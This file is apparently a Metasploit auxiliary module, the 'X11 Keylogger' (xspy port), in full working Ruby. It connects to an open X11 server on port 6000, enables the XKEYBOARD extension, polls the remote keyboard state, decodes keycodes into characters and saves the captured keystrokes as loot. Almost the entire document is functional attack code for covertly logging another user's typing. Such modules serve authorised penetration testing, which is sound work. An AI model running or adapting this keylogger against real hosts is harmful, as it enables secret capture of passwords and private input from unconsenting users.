## https://sploitus.com/exploit?id=MSF:AUXILIARY-GATHER-X11_KEYBOARD_SPY-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Exploit::Remote::Tcp
include Rex::Proto::X11
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::X11
def initialize(info = {})
super(
update_info(
info,
'Name' => 'X11 Keylogger',
'Description' => %q{
This module binds to an open X11 host to log keystrokes. This is a fairly
close copy of the old xspy c program which has been on Kali for a long time.
The module works by connecting to the X11 session, creating a background
window, binding a keyboard to it and creating a notification alert when a key
is pressed.
One of the major limitations of xspy, and thus this module, is that it polls
at a very fast rate, faster than a key being pressed is released (especially before
the repeat delay is hit). To combat printing multiple characters for a single key
press, repeat characters arent printed when typed in a very fast manor. This is also
an imperfect keylogger in that keystrokes arent stored and forwarded but status
displayed at poll time. Keys may be repeated or missing.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # MSF module, X11 libs
'nir tzachar' # original file? https://gitlab.com/kalilinux/packages/xspy/-/blob/kali/master/Xspy.c?ref_type=heads
],
'References' => [
[ 'URL', 'https://www.kali.org/tools/xspy/'],
[ 'CVE', '1999-0526']
],
'DefaultOptions' => {
'RPORT' => 6000
},
'DisclosureDate' => '1997-07-01', # CVE date, but likely older
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [],
'AKA' => ['xspy'],
'RelatedModules' => [
'auxiliary/scanner/x11/open_x11',
]
}
)
)
register_options [
OptInt.new('LISTENER_TIMEOUT', [ true, 'The maximum number of seconds to keylog', 600 ]), # 10 minutes
OptInt.new('PRINTERVAL', [ true, 'The interval to print keylogs in seconds', 60 ]) # 1 minutes
]
end
def check
vprint_status('Establishing TCP Connection')
connect # tcp connection establish
vprint_status('Attempting X11 connection')
connection = x11_connect
if connection.nil?
return Exploit::CheckCode::Safe('No connection, or bad X11 response received')
end
if connection.header.success == 1
return Exploit::CheckCode::Appears('Successfully established X11 connection')
end
Exploit::CheckCode::Safe('X11 connection was not successful')
end
# This function takes map data and converts it to a hashtable so that
# we can translate from x11 key press data to the actual key on the
# keyboard which was pressed.
# https://stackoverflow.com/a/28258750 has a good description of keysyms vs keycodes
def build_sym_key_map(map_data)
keysym_index = 0
key_map = {}
(map_data.min_key_code..map_data.max_key_code).each do |key_code|
syms = map_data.key_map_array[keysym_index]
if syms.n_syms == 0
key_map[key_code] = nil
else
sym = map_data.key_map_array[keysym_index].key_sym_array[0]
begin
character = sym.chr
character = '[space]' if character == ' '
rescue RangeError
if X11KEYSYM_HASH.key? sym
character = X11KEYSYM_HASH[sym]
else
character = "Unknown key sym: #{sym}"
end
end
key_map[key_code] = character
# leaving in for debugging purposes
# puts "i: #{key_code}, keysym_str: #{character}, keysym: #{keysym_index}"
end
keysym_index += 1
end
key_map
end
# TBH still don't really understand exactly how this works, but it does.
def translate_keystroke(bit_array_of_keystrokes, key_map, last_key_press_array)
# Iterate through each byte of keyboard state
bit_array_of_keystrokes.each_with_index do |keyboard_state_byte, byte_index|
next if last_key_press_array[byte_index] == keyboard_state_byte
# Check each bit within the byte
8.times do |j|
next unless keyboard_state_byte & (1 << j) != 0
# Key at position (i*8 + j) is pressed
keycode = byte_index * 8 + j
keysym = key_map[keycode]
@keylogger_log += keysym
@keylogger_print_buffer += keysym
end
end
end
def run
query_extension_call_counter = 0
@keylogger_log = ''
@keylogger_print_buffer = ''
vprint_status('Establishing TCP Connection')
begin
connect # tcp connection establish
rescue Rex::ConnectionError
fail_with(Msf::Module::Failure::Unreachable, 'Connection failed')
end
vprint_status('[1/9] Establishing X11 connection')
connection = x11_connect
fail_with(Msf::Module::Failure::UnexpectedReply, 'Port connected, but no response to X11 connection attempt') if connection.nil?
if connection.header.success == 1
x11_print_connection_info(connection, datastore['RHOST'], rport)
else
fail_with(Msf::Module::Failure::UnexpectedReply, 'X11 connection not successful')
end
vprint_status('[2/9] Checking on BIG-REQUESTS extension')
big_requests_plugin = x11_query_extension('BIG-REQUESTS', query_extension_call_counter)
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if big_requests_plugin.nil?
if big_requests_plugin.present == 1
print_good(" Extension BIG-REQUESTS is present with id #{big_requests_plugin.major_opcode}")
else
fail_with(Msf::Module::Failure::UnexpectedReply, 'Extension BIG-REQUESTS is NOT present')
end
vprint_status('[3/9] Enabling BIG-REQUESTS')
toggle = x11_toggle_extension(big_requests_plugin.major_opcode)
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil?
vprint_status('[4/9] Creating new graphical context')
gc_header = X11RequestHeader.new(opcode: 55)
gc_body = X11CreateGraphicalContextRequestBody.new(
cid: connection.body.resource_id_base,
drawable: connection.body.screen_root,
gc_value_mask_background: 1
)
gp_header = X11RequestHeader.new(opcode: 20)
gp_body = X11GetPropertyRequestBody.new(window: connection.body.screen_root)
sock.put(gc_header.to_binary_s +
gc_body.to_binary_s +
gp_header.to_binary_s +
gp_body.to_binary_s) # not sure why we also do a get property, but it emulates how the library works
# nothing valuable in the response, just make sure we read it in to
# confirm its expected data and not leave the response on the socket
x11_read_response(X11GetPropertyResponse)
vprint_status('[5/9] Checking on XKEYBOARD extension')
xkeyboard_plugin = x11_query_extension('XKEYBOARD', query_extension_call_counter)
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if xkeyboard_plugin.nil?
if xkeyboard_plugin.present == 1
print_good(" Extension XKEYBOARD is present with id #{xkeyboard_plugin.major_opcode}")
else
fail_with(Msf::Module::Failure::UnexpectedReply, 'Extension XKEYBOARD is NOT present')
end
vprint_status('[6/9] Enabling XKEYBOARD')
toggle = x11_toggle_extension(xkeyboard_plugin.major_opcode, wanted_major: 1)
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil?
vprint_status('[7/9] Requesting XKEYBOARD map')
sock.put(X11GetMapRequest.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
full_key_types: 1,
full_key_syms: 1,
full_modifier_map: 1).to_binary_s)
map_data = x11_read_response(X11GetMapResponse)
vprint_status('[8/9] Enabling notification on keyboard and map')
sock.put(X11SelectEvents.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
affect_which_new_keyboard_notify: 1,
affect_new_keyboard_key_codes: 1,
affect_new_keyboard_device_id: 1).to_binary_s +
X11SelectEvents.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
affect_which_map_notify: 1,
affect_map_key_types: 1,
affect_map_key_syms: 1,
affect_map_modifier_map: 1,
map_key_types: 1,
map_key_syms: 1,
map_modifier_map: 1).to_binary_s) # not sure what this does, but emulates x11 c library
# this request doesn't receive any response data
vprint_status('[9/9] Creating local keyboard map')
key_map = build_sym_key_map(map_data)
last_key_press_array = Array.new(32, 0)
empty = Array.new(32, 0)
print_good('All setup, watching for keystrokes')
# loop mechanics stolen from exploit/multi/handler
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC)
print_timer = Process.clock_gettime(Process::CLOCK_MONOTONIC)
timeout = datastore['LISTENER_TIMEOUT'].to_i
printerval = datastore['PRINTERVAL'].to_i
begin
loop do
# sleep 1
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC))
sock.put(X11QueryKeyMapRequest.new.to_binary_s)
query_key_map_response = x11_read_response(X11QueryKeyMapResponse)
bit_array_of_keystrokes = query_key_map_response.data
# we poll FAR quicker than a normal key press, so we need to filter repeats
unless bit_array_of_keystrokes == last_key_press_array # skip repeats
translate_keystroke(bit_array_of_keystrokes, key_map, last_key_press_array) unless bit_array_of_keystrokes == empty
last_key_press_array = bit_array_of_keystrokes
end
next unless print_timer + printerval < Time.now.to_f
print_timer = Time.now.to_f
if @keylogger_print_buffer.empty?
print_bad('No X11 key presses observed')
next
end
print_good("X11 Key presses observed: #{@keylogger_print_buffer}")
@keylogger_print_buffer = ''
end
rescue EOFError
print_error('Connection closed by remote host')
ensure
vprint_status('Closing X11 connection')
sock.put(Rex::Proto::X11::X11RequestHeader.new(opcode: 60).to_binary_s +
X11FreeGraphicalContextRequestBody.new(gc: connection.body.resource_id_base).to_binary_s +
Rex::Proto::X11::X11RequestHeader.new(opcode: 43).to_binary_s +
X11GetInputFocusRequestBody.new.to_binary_s)
disconnect
if @keylogger_print_buffer.empty?
print_bad('No X11 key presses observed')
else
print_good("X11 Key presses observed: #{@keylogger_print_buffer}")
end
unless @keylogger_log == ''
loot_path = store_loot(
'x11.keylogger',
'text/plain',
datastore['rhost'],
@keylogger_log,
'xspy.txt',
'Keylogger content from X11'
)
print_good("Logged keys stored to: #{loot_path}")
end
end
end
end